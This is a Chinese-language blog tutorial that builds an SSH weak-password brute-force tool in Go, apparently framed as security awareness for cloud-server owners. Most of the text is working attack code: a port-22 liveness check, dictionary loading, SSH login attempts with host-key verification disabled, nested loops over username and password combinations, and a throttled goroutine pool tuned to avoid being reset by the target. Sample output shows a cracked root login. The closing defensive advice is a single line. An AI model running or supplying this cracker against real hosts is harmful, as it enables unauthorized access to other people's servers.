随着云服务的兴起,拥有一台主机不再是一件很昂贵的事情,比如你在xx云购买一个主机,一年也只需要几百元,购买的主机可以用来搭建博客、网站或者自己做测试使用。
购买了云主机后,常用的管理方式就是使用SSH,这是一个很方面的工具,可以让你登录远程系统,就像在自己的shell中操作一样。
但是,很多人并没有意识到安全问题,使用了弱口令,这样就很容易被爆破,从而拿到ssh的权限,进而可以在你购买的主机上做很多事情。
在这篇文章中,我主要通过演示如何破解SSH的弱口令,让大家了解其中的原理,进而提升自己的安全意识,保护好自己的云电脑主机。
检测目标主机是否存活
要爆破一个主机的SSH口令,需要先检测该主机是否存活,如果存活的话,才能继续尝试破解。
因为SSH是基于TCP协议的,所以可以通过net.DialTimeout
函数检测主机是否存活,代码如下所示:
1
2
3
4
5
6
7
8
|
func checkAlive(ip string) bool {
alive := false
_, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, "22"), time.Second*30)
if err == nil {
alive = true
}
return alive
}
|
以上代码使用默认的22端口,进行拨号,如果返回的err
是nil
,则证明该主机是存活的,可以继续爆破。
弱口令字典
如果要进行弱口令爆破,一般都会有一个弱口令字典,用户存放对应的用户名和密码。所以呢,我们需要读取弱口令字典,组成不同的弱口令集合,这样才可以进行爆破。假设我有两个字典文件:user.dic
和password.dic
,分别用于存放用户名和密码,读取字典文件的代码如下所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
func readDictFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
var result []string
for scanner.Scan() {
passwd := strings.TrimSpace(scanner.Text())
if passwd != "" {
result = append(result, passwd)
}
}
return result, err
}
|
这里需要注意的是,字典文件要分行存储,比如用户名字典是一行一个用户名;同理密码字典是一行一个密码。
Go语言是通过Scanner
实现一行行文本的读取的,把读取的文件,逐行添加到一个[]string
切片中返回,这个切片就包含了所有的结果。
SSH登录
SSH弱口令爆破,那么怎样才算是爆破成功呢?答案就是可以用这套用户名密码SSH登录成功。这里我使用golang官方提供的SSH Client进行登录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
func sshLogin(ip, username, password string) (bool, error) {
success := false
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
Timeout: 3 * time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", ip, 22), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
errRet := session.Run("echo 飞雪无情")
if err == nil && errRet == nil {
defer session.Close()
success = true
}
}
return success, err
}
|
以上代码的意思是通过ssh登录,如果成功的话,可以在远程主机上正确执行echo 飞雪无情
这个命令,并且返回true
,如果登录失败,则会返回一个错误。
开始爆破
有了以上这些准备,就可以对需要爆破的主机进行弱口令破解,看哪个口令是正确的,爆破代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
func main() {
//带破解的主机列表
ips := []string{"10.0.0.1", "10.0.0.4", "10.0.0.8"}
//主机是否存活检查
var aliveIps []string
for _, ip := range ips {
if checkAlive(ip) {
aliveIps = append(aliveIps, ip)
}
}
//读取弱口令字典
users, err := readDictFile("user.dic")
if err != nil {
log.Fatalln("读取用户名字典文件错误:", err)
}
passwords, err := readDictFile("pass.dic")
if err != nil {
log.Fatalln("读取密码字典文件错误:", err)
}
//爆破
for _, user := range users {
for _, password := range passwords {
for _, ip := range aliveIps {
success, _ := sshLogin(ip, user, password)
log.Println(ip, user, password, success)
if success {
log.Printf("破解%v成功,用户名是%v,密码是%v\n", ip, user, password)
}
}
}
}
}
|
代码中有简单的注释,非常容易理解,最终爆破的思路是通过遍历用户名和密码,对主机进尝试登录爆破,如果成功则打印出相应的用户名和密码。
通过并发提升爆破速度
运行以上代码,程序就开始SSH弱口令爆破了,但是你会发现,速度非常慢,因为我们使用了串行的方式一个个爆破的,如果弱口令很多,那么速度会更慢,现在我们就通过并发来提升爆破速度。
要想通过并发来破解,首先我们得先把可能的用户名密码组合放在一个切片里,这样就可以知道有多少种组合,需要启动多少个协程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
//爆破
var tasks []Task
for _, user := range users {
for _, password := range passwords {
for _, ip := range aliveIps {
tasks = append(tasks, Task{ip, user, password})
}
}
}
type Task struct {
ip string
user string
password string
}
|
这些组合已经被我放在一个[]Task
中了,现在就可以并发的去执行这些破解任务了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
func runTask(tasks []Task) {
var wg sync.WaitGroup
for _, task := range tasks {
wg.Add(1)
go func(task Task) {
defer wg.Done()
success, _ := sshLogin(task.ip, task.user, task.password)
if success {
log.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password)
}
}(task)
}
wg.Wait()
}
|
好了,现在在main
函数中运行这个runTask
函数就可以了,程序就开始自动爆破了。
1
2
3
4
|
func main(){
//....
runTask(tasks)
}
|
控制并发数量
上面的代码开启的协程数量是没有限制的,数量和可能用户名密码的组合有关。如果组合过多,会导致开启了太多的协程,尝试的破解链接可能被远程主机重置。
现在我们就实现一个可以控制并发数量的破解程序,可以让我们灵活的控制并发数,避免被重置(封杀)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
func runTask(tasks []Task, threads int) {
var wg sync.WaitGroup
taskCh := make(chan Task, threads*2)
for i := 0; i < threads; i++ {
go func() {
for task := range taskCh {
success, _ := sshLogin(task.ip, task.user, task.password)
if success {
log.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password)
}
wg.Done()
}
}()
}
for _, task := range tasks {
wg.Add(1)
taskCh <- task
}
wg.Wait()
close(taskCh)
}
|
从以上代码实现可以看到,只需要改动runTask
函数即可,增加一个threads
参数,用于控制启动多少个协程。
注意这里通过taskCh
存储将要爆破的用户名和密码,并且在不同协程中传递数据,其实是一个生产者和消费者模式。
小结
好了,现在运行这个破解程序,看看效果。
1
2
|
➜ hello go run main_1.go
2021/05/05 15:52:31 破解10.0.0.8成功,用户名是root,密码是xxx
|
弱口令爆破是一种利用常用的用户名和密码,通过不断的尝试来破解的办法,这种破解办法需要一个很全的弱口令字典,这样才能更好的进行爆破。
同时也是因为是弱口令,所以安全防范也比较好做,只要我们设置的用户名和密码复杂一些,不要太常见,就可以避免被爆破。
本文为原创文章,转载注明出处,欢迎扫码关注公众号flysnow_org
或者网站http://www.flysnow.org/,第一时间看后续精彩文章。觉得好的话,顺手分享到朋友圈吧,感谢支持。